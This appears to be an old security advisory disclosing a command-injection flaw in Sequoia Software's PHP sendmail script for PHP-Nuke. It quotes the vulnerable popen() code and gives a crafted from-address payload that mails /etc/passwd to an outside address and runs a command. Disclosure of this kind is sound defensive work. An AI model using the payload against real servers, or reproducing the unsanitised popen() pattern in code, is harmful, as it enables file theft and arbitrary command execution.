Sequoiasoft's sendmail php script dangerous - By jwilkins

   PHP-Nuke Written by Sequioa Software, this script allows execution of
   arbitrary code by a malicious user.
   Written by Sequioa Software, this script allows execution of arbitrary
   code by a malicious user. Essentially, popen() executes a shell which
   does the actual interpretation of the command. If an attacker crafts
   their return email address carefully, then they can cause the popen()
   call to execute chosen commands or reveal files.
//The workhorse method, does the actual sending of the mail.
//Doesn't check for errors so be careful!
function Send($sendmail = "/usr/sbin/sendmail") {
  if($this->from == "") {
    $fp = popen($sendmail . " -i " . $this->to, "w");
  } else {
    $fp = popen($sendmail . " -i -f"" . $this->from . "" " .
    $this->to, "w");
  }

   Given the above code fragment, if I provide a from line such as:
foo@bat.com" jwilkins@bitland.net < /etc/passwd; touch /tmp/gotcha;
                                       
   I can have the contents of any file that the webserver account (usually
   nobody) has access to, and can execute commands as that user.